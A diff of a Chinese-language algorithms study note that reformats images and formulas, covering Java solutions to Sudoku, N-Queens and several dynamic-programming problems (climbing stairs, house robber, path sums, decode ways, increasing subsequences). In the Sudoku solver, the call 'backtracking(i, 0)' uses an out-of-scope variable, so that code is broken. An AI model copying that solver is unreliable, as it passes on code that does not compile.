-[37. Sudoku Solver (Hard)](https://leetcode.com/problems/sudoku-solver/description/)
+[37. Sudoku Solver (Hard)](https://leetcode.com/problems/sudoku-solver/description/)
 
-<div align="center"> <img src="pics/1ca52246-c443-48ae-b1f8-1cafc09ec75c.png"/> </div><br>
+![](index_files/1ca52246-c443-48ae-b1f8-1cafc09ec75c.png)
 
 ```java
-private boolean[][] rowsUsed = new boolean[9][10];
-private boolean[][] colsUsed = new boolean[9][10];
-private boolean[][] cubesUsed = new boolean[9][10];
-private char[][] board;
+private boolean[][] rowsUsed = new boolean[9][10];
+private boolean[][] colsUsed = new boolean[9][10];
+private boolean[][] cubesUsed = new boolean[9][10];
+private char[][] board;
 
-public void solveSudoku(char[][] board) {
-    this.board = board;
-    for (int i = 0; i < 9; i++)
-        for (int j = 0; j < 9; j++) {
-            if (board[i][j] == '.') {
-                continue;
-            }
-            int num = board[i][j] - '0';
-            rowsUsed[i][num] = true;
-            colsUsed[j][num] = true;
-            cubesUsed[cubeNum(i, j)][num] = true;
-        }
-        backtracking(i, 0);
+public void solveSudoku(char[][] board) {
+    this.board = board;
+    for (int i = 0; i < 9; i++)
+        for (int j = 0; j < 9; j++) {
+            if (board[i][j] == '.') {
+                continue;
+            }
+            int num = board[i][j] - '0';
+            rowsUsed[i][num] = true;
+            colsUsed[j][num] = true;
+            cubesUsed[cubeNum(i, j)][num] = true;
+        }
+        backtracking(i, 0);
 }
 
-private boolean backtracking(int row, int col) {
-    while (row < 9 && board[row][col] != '.') {
-        row = col == 8 ? row + 1 : row;
-        col = col == 8 ? 0 : col + 1;
-    }
-    if (row == 9) {
-        return true;
-    }
-    for (int num = 1; num <= 9; num++) {
-        if (rowsUsed[row][num] || colsUsed[col][num] || cubesUsed[cubeNum(row, col)][num]) {
-            continue;
-        }
-        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = true;
-        board[row][col] = (char) (num + '0');
-        if (backtracking(row, col)) {
-            return true;
-        }
-        board[row][col] = '.';
-        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = false;
-    }
-    return false;
+private boolean backtracking(int row, int col) {
+    while (row < 9 && board[row][col] != '.') {
+        row = col == 8 ? row + 1 : row;
+        col = col == 8 ? 0 : col + 1;
+    }
+    if (row == 9) {
+        return true;
+    }
+    for (int num = 1; num <= 9; num++) {
+        if (rowsUsed[row][num] || colsUsed[col][num] || cubesUsed[cubeNum(row, col)][num]) {
+            continue;
+        }
+        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = true;
+        board[row][col] = (char) (num + '0');
+        if (backtracking(row, col)) {
+            return true;
+        }
+        board[row][col] = '.';
+        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = false;
+    }
+    return false;
 }
 
-private int cubeNum(int i, int j) {
-    int r = i / 3;
-    int c = j / 3;
-    return r * 3 + c;
+private int cubeNum(int i, int j) {
+    int r = i / 3;
+    int c = j / 3;
+    return r * 3 + c;
 }
 ```
 
-**N 皇后** 
+**N 皇后**
 
-[51. N-Queens (Hard)](https://leetcode.com/problems/n-queens/description/)
+[51. N-Queens (Hard)](https://leetcode.com/problems/n-queens/description/)
 
-<div align="center"> <img src="pics/1f080e53-4758-406c-bb5f-dbedf89b63ce.jpg"/> </div><br>
+![](index_files/1f080e53-4758-406c-bb5f-dbedf89b63ce.jpg)
 
-在 n\*n 的矩阵中摆放 n 个皇后，并且每个皇后不能在同一行，同一列，同一对角线上，求所有的 n 皇后的解。
+在 n\*n 的矩阵中摆放 n 个皇后，并且每个皇后不能在同一行，同一列，同一对角线上，求所有的 n 皇后的解。
 
-一行一行地摆放，在确定一行中的那个皇后应该摆在哪一列时，需要用三个标记数组来确定某一列是否合法，这三个标记数组分别为：列标记数组、45 度对角线标记数组和 135 度对角线标记数组。
+一行一行地摆放，在确定一行中的那个皇后应该摆在哪一列时，需要用三个标记数组来确定某一列是否合法，这三个标记数组分别为：列标记数组、45 度对角线标记数组和 135 度对角线标记数组。
 
-45 度对角线标记数组的长度为 2 \* n - 1，通过下图可以明确 (r, c) 的位置所在的数组下标为 r + c。
+45 度对角线标记数组的长度为 2 \* n - 1，通过下图可以明确 (r, c) 的位置所在的数组下标为 r + c。
 
-<div align="center"> <img src="pics/85583359-1b45-45f2-9811-4f7bb9a64db7.jpg"/> </div><br>
+![](index_files/85583359-1b45-45f2-9811-4f7bb9a64db7.jpg)
 
-135 度对角线标记数组的长度也是 2 \* n - 1，(r, c) 的位置所在的数组下标为 n - 1 - (r - c)。
+135 度对角线标记数组的长度也是 2 \* n - 1，(r, c) 的位置所在的数组下标为 n - 1 - (r - c)。
 
-<div align="center"> <img src="pics/9e80f75a-b12b-4344-80c8-1f9ccc2d5246.jpg"/> </div><br>
+![](index_files/9e80f75a-b12b-4344-80c8-1f9ccc2d5246.jpg)
 
 ```java
-private List<List<String>> solutions;
-private char[][] nQueens;
-private boolean[] colUsed;
-private boolean[] diagonals45Used;
-private boolean[] diagonals135Used;
-private int n;
+private List<List<String>> solutions;
+private char[][] nQueens;
+private boolean[] colUsed;
+private boolean[] diagonals45Used;
+private boolean[] diagonals135Used;
+private int n;
 
-public List<List<String>> solveNQueens(int n) {
-    solutions = new ArrayList<>();
-    nQueens = new char[n][n];
-    for (int i = 0; i < n; i++) {
-        Arrays.fill(nQueens[i], '.');
-    }
-    colUsed = new boolean[n];
-    diagonals45Used = new boolean[2 * n - 1];
-    diagonals135Used = new boolean[2 * n - 1];
-    this.n = n;
-    backtracking(0);
-    return solutions;
+public List<List<String>> solveNQueens(int n) {
+    solutions = new ArrayList<>();
+    nQueens = new char[n][n];
+    for (int i = 0; i < n; i++) {
+        Arrays.fill(nQueens[i], '.');
+    }
+    colUsed = new boolean[n];
+    diagonals45Used = new boolean[2 * n - 1];
+    diagonals135Used = new boolean[2 * n - 1];
+    this.n = n;
+    backtracking(0);
+    return solutions;
 }
 
-private void backtracking(int row) {
-    if (row == n) {
-        List<String> list = new ArrayList<>();
-        for (char[] chars : nQueens) {
-            list.add(new String(chars));
-        }
-        solutions.add(list);
-        return;
-    }
+private void backtracking(int row) {
+    if (row == n) {
+        List<String> list = new ArrayList<>();
+        for (char[] chars : nQueens) {
+            list.add(new String(chars));
+        }
+        solutions.add(list);
+        return;
+    }
 
-    for (int col = 0; col < n; col++) {
-        int diagonals45Idx = row + col;
-        int diagonals135Idx = n - 1 - (row - col);
-        if (colUsed[col] || diagonals45Used[diagonals45Idx] || diagonals135Used[diagonals135Idx]) {
-            continue;
-        }
-        nQueens[row][col] = 'Q';
-        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = true;
-        backtracking(row + 1);
-        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = false;
-        nQueens[row][col] = '.';
-    }
+    for (int col = 0; col < n; col++) {
+        int diagonals45Idx = row + col;
+        int diagonals135Idx = n - 1 - (row - col);
+        if (colUsed[col] || diagonals45Used[diagonals45Idx] || diagonals135Used[diagonals135Idx]) {
+            continue;
+        }
+        nQueens[row][col] = 'Q';
+        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = true;
+        backtracking(row + 1);
+        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = false;
+        nQueens[row][col] = '.';
+    }
 }
 ```
 
-## 动态规划
+## 动态规划
 
 递归和动态规划都是将原问题拆成多个子问题然后求解，他们之间最本质的区别是，动态规划保存了子问题的解，避免重复计算。
 
-### 斐波那契数列
+### 斐波那契数列
 
-**爬楼梯** 
+**爬楼梯**
 
-[70. Climbing Stairs (Easy)](https://leetcode.com/problems/climbing-stairs/description/)
+[70. Climbing Stairs (Easy)](https://leetcode.com/problems/climbing-stairs/description/)
 
-题目描述：有 N 阶楼梯，每次可以上一阶或者两阶，求有多少种上楼梯的方法。
+题目描述：有 N 阶楼梯，每次可以上一阶或者两阶，求有多少种上楼梯的方法。
 
-定义一个数组 dp 存储上楼梯的方法数（为了方便讨论，数组下标从 1 开始），dp[i] 表示走到第 i 个楼梯的方法数目。
+定义一个数组 dp 存储上楼梯的方法数（为了方便讨论，数组下标从 1 开始），dp[i] 表示走到第 i 个楼梯的方法数目。
 
-第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达，走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
+第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达，走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-2]"/></div> <br>
+$$dp[i] = dp[i-1] + dp[i-2]$$
 
-考虑到 dp[i] 只与 dp[i - 1] 和 dp[i - 2] 有关，因此可以只用两个变量来存储 dp[i - 1] 和 dp[i - 2]，使得原来的 O(N) 空间复杂度优化为 O(1) 复杂度。
+考虑到 dp[i] 只与 dp[i - 1] 和 dp[i - 2] 有关，因此可以只用两个变量来存储 dp[i - 1] 和 dp[i - 2]，使得原来的 O(N) 空间复杂度优化为 O(1) 复杂度。
 
 ```java
-public int climbStairs(int n) {
-    if (n <= 2) {
-        return n;
-    }
-    int pre2 = 1, pre1 = 2;
-    for (int i = 2; i < n; i++) {
-        int cur = pre1 + pre2;
-        pre2 = pre1;
-        pre1 = cur;
-    }
-    return pre1;
+public int climbStairs(int n) {
+    if (n <= 2) {
+        return n;
+    }
+    int pre2 = 1, pre1 = 2;
+    for (int i = 2; i < n; i++) {
+        int cur = pre1 + pre2;
+        pre2 = pre1;
+        pre1 = cur;
+    }
+    return pre1;
 }
 ```
 
-**强盗抢劫** 
+**强盗抢劫**
 
-[198. House Robber (Easy)](https://leetcode.com/problems/house-robber/description/)
+[198. House Robber (Easy)](https://leetcode.com/problems/house-robber/description/)
 
 题目描述：抢劫一排住户，但是不能抢邻近的住户，求最大抢劫量。
 
-定义 dp 数组用来存储最大的抢劫量，其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。
+定义 dp 数组用来存储最大的抢劫量，其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。
 
-由于不能抢劫邻近住户，如果抢劫了第 i -1 个住户，那么就不能再抢劫第 i 个住户，所以
+由于不能抢劫邻近住户，如果抢劫了第 i -1 个住户，那么就不能再抢劫第 i 个住户，所以
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=max(dp[i-2]+nums[i],dp[i-1])"/></div> <br>
+$$dp[i] = max(dp[i - 2] + nums[i], dp[i - 1])$$
 
 ```java
-public int rob(int[] nums) {
-    int pre2 = 0, pre1 = 0;
-    for (int i = 0; i < nums.length; i++) {
-        int cur = Math.max(pre2 + nums[i], pre1);
-        pre2 = pre1;
-        pre1 = cur;
-    }
-    return pre1;
+public int rob(int[] nums) {
+    int pre2 = 0, pre1 = 0;
+    for (int i = 0; i < nums.length; i++) {
+        int cur = Math.max(pre2 + nums[i], pre1);
+        pre2 = pre1;
+        pre1 = cur;
+    }
+    return pre1;
 }
 ```
 
-**强盗在环形街区抢劫** 
+**强盗在环形街区抢劫**
 
-[213. House Robber II (Medium)](https://leetcode.com/problems/house-robber-ii/description/)
+[213. House Robber II (Medium)](https://leetcode.com/problems/house-robber-ii/description/)
 
 ```java
-public  int rob(int[] nums) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int n = nums.length;
-    if (n == 1) {
-        return nums[0];
-    }
-    return Math.max(rob(nums, 0, n - 2), rob(nums, 1, n - 1));
+public  int rob(int[] nums) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int n = nums.length;
+    if (n == 1) {
+        return nums[0];
+    }
+    return Math.max(rob(nums, 0, n - 2), rob(nums, 1, n - 1));
 }
 
-private   int rob(int[] nums, int first, int last) {
-    int pre2 = 0, pre1 = 0;
-    for (int i = first; i <= last; i++) {
-        int cur = Math.max(pre1, pre2 + nums[i]);
-        pre2 = pre1;
-        pre1 = cur;
-    }
-    return pre1;
+private   int rob(int[] nums, int first, int last) {
+    int pre2 = 0, pre1 = 0;
+    for (int i = first; i <= last; i++) {
+        int cur = Math.max(pre1, pre2 + nums[i]);
+        pre2 = pre1;
+        pre1 = cur;
+    }
+    return pre1;
 }
 ```
 
-**信件错排** 
+**信件错排**
 
-题目描述：有 N 个 信 和 信封，它们被打乱，求错误装信方式的数量。
+题目描述：有 N 个 信 和 信封，它们被打乱，求错误装信方式的数量。
 
-定义一个数组 dp 存储错误方式数量，dp[i] 表示前 i 个信和信封的错误方式数量。假设第 i 个信装到第 j 个信封里面，而第 j 个信装到第 k 个信封里面。根据 i 和 k 是否相等，有两种情况：
+定义一个数组 dp 存储错误方式数量，dp[i] 表示前 i 个信和信封的错误方式数量。假设第 i 个信装到第 j 个信封里面，而第 j 个信装到第 k 个信封里面。根据 i 和 k 是否相等，有两种情况：
 
-- i==k，交换 i 和 k 的信后，它们的信和信封在正确的位置，但是其余 i-2 封信有 dp[i-2] 种错误装信的方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-2] 种错误装信方式。
-- i != k，交换 i 和 j 的信后，第 i 个信和信封在正确的位置，其余 i-1 封信有 dp[i-1] 种错误装信方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-1] 种错误装信方式。
+- i==k，交换 i 和 k 的信后，它们的信和信封在正确的位置，但是其余 i-2 封信有 dp[i-2] 种错误装信的方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-2] 种错误装信方式。
+- i != k，交换 i 和 j 的信后，第 i 个信和信封在正确的位置，其余 i-1 封信有 dp[i-1] 种错误装信方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-1] 种错误装信方式。
 
 综上所述，错误装信数量方式数量为：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=(i-1)*dp[i-2]+(i-1)*dp[i-1]"/></div> <br>
+$$ dp[i] = (i-1) * dp[i-2] + (i-1) * dp[i-1]$$
 
-**母牛生产** 
+**母牛生产**
 
 [程序员代码面试指南-P181](#)
 
-题目描述：假设农场中成熟的母牛每年都会生 1 头小母牛，并且永远不会死。第一年有 1 只小母牛，从第二年开始，母牛开始生小母牛。每只小母牛 3 年之后成熟又可以生小母牛。给定整数 N，求 N 年后牛的数量。
+题目描述：假设农场中成熟的母牛每年都会生 1 头小母牛，并且永远不会死。第一年有 1 只小母牛，从第二年开始，母牛开始生小母牛。每只小母牛 3 年之后成熟又可以生小母牛。给定整数 N，求 N 年后牛的数量。
 
-第 i 年成熟的牛的数量为：
+第 i 年成熟的牛的数量为：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-3]"/></div> <br>
+$$dp[i] = dp[i-1] + dp[i-3]$$
 
-### 矩阵路径
+### 矩阵路径
 
-**矩阵的最小路径和** 
+**矩阵的最小路径和**
 
-[64. Minimum Path Sum (Medium)](https://leetcode.com/problems/minimum-path-sum/description/)
+[64. Minimum Path Sum (Medium)](https://leetcode.com/problems/minimum-path-sum/description/)
 
 ```html
 [[1,3,1],
- [1,5,1],
- [4,2,1]]
-Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
+ [1,5,1],
+ [4,2,1]]
+Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
 ```
 
 题目描述：求从矩阵的左上角到右下角的最小路径和，每次只能向右和向下移动。
 
 ```java
-public int minPathSum(int[][] grid) {
-    if (grid.length == 0 || grid[0].length == 0) {
-        return 0;
-    }
-    int m = grid.length, n = grid[0].length;
-    int[] dp = new int[n];
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (j == 0) {
-                dp[j] = dp[j];        // 只能从上侧走到该位置
-            } else if (i == 0) {
-                dp[j] = dp[j - 1];    // 只能从左侧走到该位置
-            } else {
-                dp[j] = Math.min(dp[j - 1], dp[j]);
-            }
-            dp[j] += grid[i][j];
-        }
-    }
-    return dp[n - 1];
+public int minPathSum(int[][] grid) {
+    if (grid.length == 0 || grid[0].length == 0) {
+        return 0;
+    }
+    int m = grid.length, n = grid[0].length;
+    int[] dp = new int[n];
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (j == 0) {
+                dp[j] = dp[j];        // 只能从上侧走到该位置
+            } else if (i == 0) {
+                dp[j] = dp[j - 1];    // 只能从左侧走到该位置
+            } else {
+                dp[j] = Math.min(dp[j - 1], dp[j]);
+            }
+            dp[j] += grid[i][j];
+        }
+    }
+    return dp[n - 1];
 }
 ```
 
-**矩阵的总路径数** 
+**矩阵的总路径数**
 
-[62. Unique Paths (Medium)](https://leetcode.com/problems/unique-paths/description/)
+[62. Unique Paths (Medium)](https://leetcode.com/problems/unique-paths/description/)
 
 题目描述：统计从矩阵左上角到右下角的路径总数，每次只能向右或者向下移动。
 
-<div align="center"> <img src="pics/7c98e1b6-c446-4cde-8513-5c11b9f52aea.jpg"/> </div><br>
+![](index_files/7c98e1b6-c446-4cde-8513-5c11b9f52aea.jpg)
 
 ```java
-public int uniquePaths(int m, int n) {
-    int[] dp = new int[n];
-    Arrays.fill(dp, 1);
-    for (int i = 1; i < m; i++) {
-        for (int j = 1; j < n; j++) {
-            dp[j] = dp[j] + dp[j - 1];
-        }
-    }
-    return dp[n - 1];
+public int uniquePaths(int m, int n) {
+    int[] dp = new int[n];
+    Arrays.fill(dp, 1);
+    for (int i = 1; i < m; i++) {
+        for (int j = 1; j < n; j++) {
+            dp[j] = dp[j] + dp[j - 1];
+        }
+    }
+    return dp[n - 1];
 }
 ```
 
-也可以直接用数学公式求解，这是一个组合问题。机器人总共移动的次数 S=m+n-2，向下移动的次数 D=m-1，那么问题可以看成从 S 中取出 D 个位置的组合数量，这个问题的解为 C(S, D)。
+也可以直接用数学公式求解，这是一个组合问题。机器人总共移动的次数 S=m+n-2，向下移动的次数 D=m-1，那么问题可以看成从 S 中取出 D 个位置的组合数量，这个问题的解为 C(S, D)。
 
 ```java
-public int uniquePaths(int m, int n) {
-    int S = m + n - 2;  // 总共的移动次数
-    int D = m - 1;      // 向下的移动次数
-    long ret = 1;
-    for (int i = 1; i <= D; i++) {
-        ret = ret * (S - D + i) / i;
-    }
-    return (int) ret;
+public int uniquePaths(int m, int n) {
+    int S = m + n - 2;  // 总共的移动次数
+    int D = m - 1;      // 向下的移动次数
+    long ret = 1;
+    for (int i = 1; i <= D; i++) {
+        ret = ret * (S - D + i) / i;
+    }
+    return (int) ret;
 }
 ```
 
-### 数组区间
+### 数组区间
 
-**数组区间和** 
+**数组区间和**
 
-[303. Range Sum Query - Immutable (Easy)](https://leetcode.com/problems/range-sum-query-immutable/description/)
+[303. Range Sum Query - Immutable (Easy)](https://leetcode.com/problems/range-sum-query-immutable/description/)
 
 ```html
-Given nums = [-2, 0, 3, -5, 2, -1]
+Given nums = [-2, 0, 3, -5, 2, -1]
 
-sumRange(0, 2) -> 1
-sumRange(2, 5) -> -1
-sumRange(0, 5) -> -3
+sumRange(0, 2) -> 1
+sumRange(2, 5) -> -1
+sumRange(0, 5) -> -3
 ```
 
-求区间 i \~ j 的和，可以转换为 sum[j + 1] - sum[i]，其中 sum[i] 为 0 \~ i - 1 的和。
+求区间 i ~ j 的和，可以转换为 sum[j + 1] - sum[i]，其中 sum[i] 为 0 ~ i - 1 的和。
 
 ```java
-class NumArray {
+class NumArray {
 
-    private int[] sums;
+    private int[] sums;
 
-    public NumArray(int[] nums) {
-        sums = new int[nums.length + 1];
-        for (int i = 1; i <= nums.length; i++) {
-            sums[i] = sums[i - 1] + nums[i - 1];
-        }
-    }
+    public NumArray(int[] nums) {
+        sums = new int[nums.length + 1];
+        for (int i = 1; i <= nums.length; i++) {
+            sums[i] = sums[i - 1] + nums[i - 1];
+        }
+    }
 
-    public int sumRange(int i, int j) {
-        return sums[j + 1] - sums[i];
-    }
+    public int sumRange(int i, int j) {
+        return sums[j + 1] - sums[i];
+    }
 }
 ```
 
-**数组中等差递增子区间的个数** 
+**数组中等差递增子区间的个数**
 
-[413. Arithmetic Slices (Medium)](https://leetcode.com/problems/arithmetic-slices/description/)
+[413. Arithmetic Slices (Medium)](https://leetcode.com/problems/arithmetic-slices/description/)
 
 ```html
-A = [1, 2, 3, 4]
-return: 3, for 3 arithmetic slices in A: [1, 2, 3], [2, 3, 4] and [1, 2, 3, 4] itself.
+A = [1, 2, 3, 4]
+return: 3, for 3 arithmetic slices in A: [1, 2, 3], [2, 3, 4] and [1, 2, 3, 4] itself.
 ```
 
-dp[i] 表示以 A[i] 为结尾的等差递增子区间的个数。
+dp[i] 表示以 A[i] 为结尾的等差递增子区间的个数。
 
-在 A[i] - A[i - 1] == A[i - 1] - A[i - 2] 的条件下，{A[i - 2], A[i - 1], A[i]} 是一个等差递增子区间。如果 {A[i - 3], A[i - 2], A[i - 1]} 是一个等差递增子区间，那么 {A[i - 3], A[i - 2], A[i - 1], A[i]} 也是等差递增子区间，dp[i] = dp[i-1] + 1。
+在 A[i] - A[i - 1] == A[i - 1] - A[i - 2] 的条件下，{A[i - 2], A[i - 1], A[i]} 是一个等差递增子区间。如果 {A[i - 3], A[i - 2], A[i - 1]} 是一个等差递增子区间，那么 {A[i - 3], A[i - 2], A[i - 1], A[i]} 也是等差递增子区间，dp[i] = dp[i-1] + 1。
 
 ```java
-public int numberOfArithmeticSlices(int[] A) {
-    if (A == null || A.length == 0) {
-        return 0;
-    }
-    int n = A.length;
-    int[] dp = new int[n];
-    for (int i = 2; i < n; i++) {
-        if (A[i] - A[i - 1] == A[i - 1] - A[i - 2]) {
-            dp[i] = dp[i - 1] + 1;
-        }
-    }
-    int total = 0;
-    for (int cnt : dp) {
-        total += cnt;
-    }
-    return total;
+public int numberOfArithmeticSlices(int[] A) {
+    if (A == null || A.length == 0) {
+        return 0;
+    }
+    int n = A.length;
+    int[] dp = new int[n];
+    for (int i = 2; i < n; i++) {
+        if (A[i] - A[i - 1] == A[i - 1] - A[i - 2]) {
+            dp[i] = dp[i - 1] + 1;
+        }
+    }
+    int total = 0;
+    for (int cnt : dp) {
+        total += cnt;
+    }
+    return total;
 }
 ```
 
-### 分割整数
+### 分割整数
 
-**分割整数的最大乘积** 
+**分割整数的最大乘积**
 
-[343. Integer Break (Medim)](https://leetcode.com/problems/integer-break/description/)
+[343. Integer Break (Medim)](https://leetcode.com/problems/integer-break/description/)
 
-题目描述：For example, given n = 2, return 1 (2 = 1 + 1); given n = 10, return 36 (10 = 3 + 3 + 4).
+题目描述：For example, given n = 2, return 1 (2 = 1 + 1); given n = 10, return 36 (10 = 3 + 3 + 4).
 
 ```java
-public int integerBreak(int n) {
-    int[] dp = new int[n + 1];
-    dp[1] = 1;
-    for (int i = 2; i <= n; i++) {
-        for (int j = 1; j <= i - 1; j++) {
-            dp[i] = Math.max(dp[i], Math.max(j * dp[i - j], j * (i - j)));
-        }
-    }
-    return dp[n];
+public int integerBreak(int n) {
+    int[] dp = new int[n + 1];
+    dp[1] = 1;
+    for (int i = 2; i <= n; i++) {
+        for (int j = 1; j <= i - 1; j++) {
+            dp[i] = Math.max(dp[i], Math.max(j * dp[i - j], j * (i - j)));
+        }
+    }
+    return dp[n];
 }
 ```
 
-**按平方数来分割整数** 
+**按平方数来分割整数**
 
-[279. Perfect Squares(Medium)](https://leetcode.com/problems/perfect-squares/description/)
+[279. Perfect Squares(Medium)](https://leetcode.com/problems/perfect-squares/description/)
 
-题目描述：For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
+题目描述：For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
 
 ```java
-public int numSquares(int n) {
-    List<Integer> squareList = generateSquareList(n);
-    int[] dp = new int[n + 1];
-    for (int i = 1; i <= n; i++) {
-        int min = Integer.MAX_VALUE;
-        for (int square : squareList) {
-            if (square > i) {
-                break;
-            }
-            min = Math.min(min, dp[i - square] + 1);
-        }
-        dp[i] = min;
-    }
-    return dp[n];
+public int numSquares(int n) {
+    List<Integer> squareList = generateSquareList(n);
+    int[] dp = new int[n + 1];
+    for (int i = 1; i <= n; i++) {
+        int min = Integer.MAX_VALUE;
+        for (int square : squareList) {
+            if (square > i) {
+                break;
+            }
+            min = Math.min(min, dp[i - square] + 1);
+        }
+        dp[i] = min;
+    }
+    return dp[n];
 }
 
-private List<Integer> generateSquareList(int n) {
-    List<Integer> squareList = new ArrayList<>();
-    int diff = 3;
-    int square = 1;
-    while (square <= n) {
-        squareList.add(square);
-        square += diff;
-        diff += 2;
-    }
-    return squareList;
+private List<Integer> generateSquareList(int n) {
+    List<Integer> squareList = new ArrayList<>();
+    int diff = 3;
+    int square = 1;
+    while (square <= n) {
+        squareList.add(square);
+        square += diff;
+        diff += 2;
+    }
+    return squareList;
 }
 ```
 
-**分割整数构成字母字符串** 
+**分割整数构成字母字符串**
 
-[91. Decode Ways (Medium)](https://leetcode.com/problems/decode-ways/description/)
+[91. Decode Ways (Medium)](https://leetcode.com/problems/decode-ways/description/)
 
-题目描述：Given encoded message "12", it could be decoded as "AB" (1 2) or "L" (12).
+题目描述：Given encoded message "12", it could be decoded as "AB" (1 2) or "L" (12).
 
 ```java
-public int numDecodings(String s) {
-    if (s == null || s.length() == 0) {
-        return 0;
-    }
-    int n = s.length();
-    int[] dp = new int[n + 1];
-    dp[0] = 1;
-    dp[1] = s.charAt(0) == '0' ? 0 : 1;
-    for (int i = 2; i <= n; i++) {
-        int one = Integer.valueOf(s.substring(i - 1, i));
-        if (one != 0) {
-            dp[i] += dp[i - 1];
-        }
-        if (s.charAt(i - 2) == '0') {
-            continue;
-        }
-        int two = Integer.valueOf(s.substring(i - 2, i));
-        if (two <= 26) {
-            dp[i] += dp[i - 2];
-        }
-    }
-    return dp[n];
+public int numDecodings(String s) {
+    if (s == null || s.length() == 0) {
+        return 0;
+    }
+    int n = s.length();
+    int[] dp = new int[n + 1];
+    dp[0] = 1;
+    dp[1] = s.charAt(0) == '0' ? 0 : 1;
+    for (int i = 2; i <= n; i++) {
+        int one = Integer.valueOf(s.substring(i - 1, i));
+        if (one != 0) {
+            dp[i] += dp[i - 1];
+        }
+        if (s.charAt(i - 2) == '0') {
+            continue;
+        }
+        int two = Integer.valueOf(s.substring(i - 2, i));
+        if (two <= 26) {
+            dp[i] += dp[i - 2];
+        }
+    }
+    return dp[n];
 }
 ```
 
-### 最长递增子序列
+### 最长递增子序列
 
-已知一个序列 {S<sub>1</sub>, S<sub>2</sub>,...,S<sub>n</sub>}，取出若干数组成新的序列 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>}，其中 i1、i2 ... im 保持递增，即新序列中各个数仍然保持原数列中的先后顺序，称新序列为原序列的一个 **子序列** 。
+已知一个序列 {S<sub>1</sub>, S<sub>2</sub>,...,S<sub>n</sub>}，取出若干数组成新的序列 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>}，其中 i1、i2 ... im 保持递增，即新序列中各个数仍然保持原数列中的先后顺序，称新序列为原序列的一个**子序列**。
 
-如果在子序列中，当下标 ix > iy 时，S<sub>ix</sub> > S<sub>iy</sub>，称子序列为原序列的一个 **递增子序列** 。
+如果在子序列中，当下标 ix > iy 时，S<sub>ix</sub> > S<sub>iy</sub>，称子序列为原序列的一个**递增子序列**。
 
-定义一个数组 dp 存储最长递增子序列的长度，dp[n] 表示以 S<sub>n</sub> 结尾的序列的最长递增子序列长度。对于一个递增子序列 {S<sub>i1</sub>, S<sub>i2</sub>,...,S<sub>im</sub>}，如果 im < n 并且 S<sub>im</sub> < S<sub>n</sub>，此时 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>, S<sub>n</sub>} 为一个递增子序列，递增子序列的长度增加 1。满足上述条件的递增子序列中，长度最长的那个递增子序列就是要找的，在长度最长的递增子序列上加上 S<sub>n</sub> 就构成了以 S<sub>n</sub> 为结尾的最长递增子序列。因此 dp[n] = max{ dp[i]+1 | S<sub>i</sub> < S<sub>n</sub> && i < n} 。
+定义一个数组 dp 存储最长递增子序列的长度，dp[n] 表示以 S<sub>n</sub> 结尾的序列的最长递增子序列长度。对于一个递增子序列 {S<sub>i1</sub>, S<sub>i2</sub>,...,S<sub>im</sub>}，如果 im < n 并且 S<sub>im</sub> < S<sub>n</sub>，此时 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>, S<sub>n</sub>} 为一个递增子序列，递增子序列的长度增加 1。满足上述条件的递增子序列中，长度最长的那个递增子序列就是要找的，在长度最长的递增子序列上加上 S<sub>n</sub> 就构成了以 S<sub>n</sub> 为结尾的最长递增子序列。因此 dp[n] = max{ dp[i]+1 | S<sub>i</sub> < S<sub>n</sub> && i < n} 。
 
-因为在求 dp[n] 时可能无法找到一个满足条件的递增子序列，此时 {S<sub>n</sub>} 就构成了递增子序列，需要对前面的求解方程做修改，令 dp[n] 最小为 1，即：
+因为在求 dp[n] 时可能无法找到一个满足条件的递增子序列，此时 {S<sub>n</sub>} 就构成了递增子序列，需要对前面的求解方程做修改，令 dp[n] 最小为 1，即：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[n]=max\{1,dp[i]+1|S_i<S_n\&\&i<n\}"/></div> <br>
+$$ dp[n] = max\{ 1, dp[i]+1 | S_i < S_n \&\& i < n \} $$
 
-对于一个长度为 N 的序列，最长递增子序列并不一定会以 S<sub>N</sub> 为结尾，因此 dp[N] 不是序列的最长递增子序列的长度，需要遍历 dp 数组找出最大值才是所要的结果，max{ dp[i] | 1 <= i <= N} 即为所求。
